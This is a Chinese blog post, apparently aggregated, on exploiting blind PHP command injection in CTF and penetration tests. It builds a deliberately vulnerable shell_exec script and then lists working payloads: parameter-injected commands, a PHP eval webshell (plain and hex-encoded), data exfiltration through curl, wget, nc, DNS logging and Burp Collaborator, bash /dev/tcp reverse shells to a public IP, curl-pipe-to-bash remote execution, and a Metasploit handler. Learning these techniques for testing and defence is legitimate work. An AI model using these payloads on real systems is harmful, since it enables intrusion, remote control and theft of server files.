5

浅谈PHP无回显命令执行的利用

 2 years ago
source link: https://qwzf.github.io/2020/08/18/%E6%B5%85%E8%B0%88PHP%E6%97%A0%E5%9B%9E%E6%98%BE%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E5%88%A9%E7%94%A8/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

浅谈PHP无回显命令执行的利用

发布时间 :2020-08-18 21:30
字数:2.3k 阅读 :

本文首发于先知社区

在CTF题或在一些渗透测试中往往会遇到没有回显的命令执行漏洞,为了能更好的实现对无回显命令执行漏洞的利用,我对此进行了简单总结。

命令执行可能会存在命令执行但没有回显,所以首先要判断命令是否有执行。确定命令可以执行,然后就可以进行无回显命令执行的利用了。

1、审计代码

审计代码,根据代码逻辑判断(这个就需要扎实的审计代码能力的功底了)

2、利用延时

ip=|sleep 5
shell复制代码

如果执行后延时5秒,就证明测试点存在命令执行漏洞

3、HTTP请求

注意:ping命令不会产生http请求

1.在公网服务器监听监听端口

nc -lp 4444
shell复制代码

2.向目标服务器发起http请求,执行curl命令

ip=|curl ip:4444
shell复制代码

如果向目标服务器发起http请求后,公网服务器监听端口得到一些信息,就证明测试点存在命令执行漏洞。

4、DNS请求

如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。(要通过dns请求即可通过ping命令,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现) 来源:安全脉搏

(1)首先去ceye.io注册个账号,注册完后会给一个域名

在这里插入图片描述
在这里插入图片描述
我注册后给的域名是v4utm7.ceye.io
(2)如果有域名解析请求就会被记录。访问qwzf.v4utm7.ceye.io,那么就会记录下来这个域名解析请求。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
简单测试一下向目标服务器发起http请求,执行下面的命令
ip=|curl `whoami`.v4utm7.ceye.io
shell复制代码
在这里插入图片描述
在这里插入图片描述
查看dnslog
在这里插入图片描述
在这里插入图片描述
若果得到执行结果(如上面执行whoami命令,得到www-data),就说明测试点存在命令执行。

了解了无回显命令执行的判断方法后,当然是还需要了解学习一下无回显命令执行的利用方法。
但测试利用方法之前,首先要准备一下环境。于是我写出下面的测试代码进行利用测试:
index.php

<?php
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
include("flag.php");

$ip=$_REQUEST['ip'];
if($ip){
    shell_exec("ping -c 4 ".$ip);
}
?>
php复制代码

1、执行命令

利用条件:需要站点目录具有写权限

通过执行命令,直接将php文件写入到在浏览器可直接读取的文件类型中(如txt文件),然后访问txt文件即可得到php文件内容
1.使用>>>

cat flag.php > flag.txt
cat flag.php >> flag.txt
shell复制代码
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
2.使用cp命令
cp flag.php flag.txt
shell复制代码

3.使用mv命令

mv flag.php flag.txt
shell复制代码

通过执行tar命令和zip命令打包或压缩php文件,在浏览器上下载打包或压缩文件解压得到php文件内容
(1)tar打包或tar打包并压缩

tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php
#解打包并解压缩:tar zxvf flag.tar.gz
shell复制代码
在这里插入图片描述
在这里插入图片描述
解打包得到flag:
在这里插入图片描述
在这里插入图片描述
(2)zip压缩
zip flag.zip flag.php
#解压缩:unzip flag.zip
shell复制代码

2、写webshell(直接写入或外部下载webshell)

利用条件:需要站点目录具有写权限

1.写webshell

echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php
echo "<?php @eval(\$_POST[123]); ?>" > webshell.php
shell复制代码

2.外部下载shell

利用条件:目标服务器可以连接外网或可以与攻击机互通,且能执行wget命令

wget 网址 -O webshell.php #使用wget下载shell,使用参数-O来指定一个文件名
shell复制代码

利用命令执行写webshell或外部下载webshell后,用蚁剑连接测试,发现成功

在这里插入图片描述
在这里插入图片描述
然后在蚁剑里直接查看flag.php文件,即可得到flag。

3、在vps上建立记录脚本

利用条件:需要目标服务器可以向公网服务器发起http请求,并且能执行curl命令或wget命令

1.构造记录脚本
在自己的公网服务器站点根目录写入php文件,内容如下:
record.php

<?php
$data =$_GET['data'];
$f = fopen("flag.txt", "w");
fwrite($f,$data);
fclose($f);
?>
shell复制代码

2.构造请求
在目标服务器的测试点可以发送下面其中任意一条请求进行测试

curl http://*.*.*.**/record.php?data=`cat flag.php`
wget http://*.*.*.*/record.php?data=`cat flag.php`
php复制代码

3.测试

在这里插入图片描述
在这里插入图片描述

执行命令后发现在公网服务器得到的flag.txt文件中,只得到下面内容,并未得到flag

在这里插入图片描述
在这里插入图片描述
于是考虑对命令执行的结果进行编码后写入flag.txt文件
curl http://*.*.*.**/record.php?data=`cat flag.php|base64`
wget http://*.*.*.*/record.php?data=`cat flag.php|base64`
shell复制代码

最终得到

在这里插入图片描述
在这里插入图片描述
Base64解码即可得到flag。

4、通过dnslog带出数据

(1)命令执行时要避免空格,空格会导致空格后面的命令执行不到;
(2)将读取的文件命令用反引号``包含起来;
(3)拼接的域名有长度限制。

利用命令:

curl `命令`.域名
shell复制代码

测试一下命令

#用<替换读取文件中的空格,且对输出结果base64编码
curl `cat<flag.php|base64`

#拼接域名(最终构造结果)
curl `cat<flag.php|base64`.v4utm7.ceye.io
#另一种方法(不过有的环境下不可以)`cat flag.php|sed s/[[:space:]]//g`.v4utm7.ceye.io
shell复制代码
在这里插入图片描述
在这里插入图片描述
利用dnslog,查看文件内容(flag.php文件内容)
在这里插入图片描述
在这里插入图片描述
base64解码得到flag
在这里插入图片描述
在这里插入图片描述

5、反弹shell

利用条件:目标服务器可以向可通信的公网服务器发起http请求

1.服务器端执行
nc -vv -lp 8888
2.命令执行处执行
bash -i >& /dev/tcp/47.95.206.199/8888 0>&1
3.payload
ip=127.0.0.1%0d%0abash+-i+>%26+/dev/tcp/47.95.206.199/8888+0>%261
注意:百度搜索到的基本上都是上边这个方法,但经过测试并未成功。于是想到以前见过的一种方法

#1.首先在公网服务器使用nc命令监听端口
nc -lvp 4444 #或nc -vv -lp 4444

#2.然后在公网服务器上写一个文件(我写入到qwzf文件),内容是下面命令
bash -i >& /dev/tcp/x.x.x.165/4444 0>&1

#3.最终浏览器上执行的payload(实际上就是在目标机执行curl x.x.x.165:8002/qwzf|bash)
ip=|curl x.x.x.165:8002/qwzf|bash
shell复制代码
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

6、msf反向回连

利用条件:目标服务器可以向可通信的公网服务器发起http请求

1.远程服务器用msf监听:

use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 4444
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j
shell复制代码
在这里插入图片描述
在这里插入图片描述
2.目标服务器执行下面命令
ip=|bash -i >& /dev/tcp/xxxxx(vps公网ip)/4444 0>&1
#如果上面这条命令在浏览器上执行失败。那么要将上面这条命令写入公网服务器上的一个文件中,在msf开始监听后,在测试点执行下面命令
ip=|curl x.x.x.165:8002/qwzf|bash
shell复制代码

3.公网服务器接收shell
目标服务器上执行命令后,会在公网服务器上接收到,然后在公网服务器上执行以下命令getshell

sessions -i 1
shell
shell复制代码
在这里插入图片描述
在这里插入图片描述
然后cat flag.php得到flag。

7、使用nc

利用条件:要求目标服务器也有nc工具

#1.公网服务器监听4444端口
nc -tlp 4444

#2.目标服务器执行如下命令
ip=|nc -t x.x.x.165 4444 < flag.php


-u参数调整为udp,当tcp不能使用的时候使用
#1.公网服务器监听4444端口
nc -ulp 4444
#2.目标服务器执行如下命令
ip=|nc -u x.x.x.165 4444 < flag.php
shell复制代码
在这里插入图片描述
在这里插入图片描述

8、curl上传文件读取源码

利用条件:目标服务器curl命令可以正常执行

使用curl -F将flag文件上传到Burp的Collaborator Client(Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看POST请求包以及打Cookies)

1.获取Collaborator Client分配给Burp的链接

打开Burp主界面 -> 菜单(Burp)-> Collaboraor Client -> 点击
Copy to Clipboard
shell复制代码
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
Copy得到
jyla6p5cfepdojez34stnodch3ntbi.burpcollaborator.net
shell复制代码

2.拼接payload并在命令执行处提交

ip=|curl -X POST -F [email protected] http://jyla6p5cfepdojez34stnodch3ntbi.burpcollaborator.net
shell复制代码

3.查看Collaborator Client收到的数据

在这里插入图片描述
在这里插入图片描述
成功得到flag。

学习过程中,发现参考资料个别地方存在一些小错误(估计是测试环境不同导致的),并且有些地方不太完善。于是,自己通过测试和分析后,总结了这篇文章,希望能更好的学习无回显命令执行的利用。

参考博客:
命令执行没有回显利用
无回显代码执行利用方法
命令执行无回显的判断方法及dnslog相关例题
dnslog利用


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK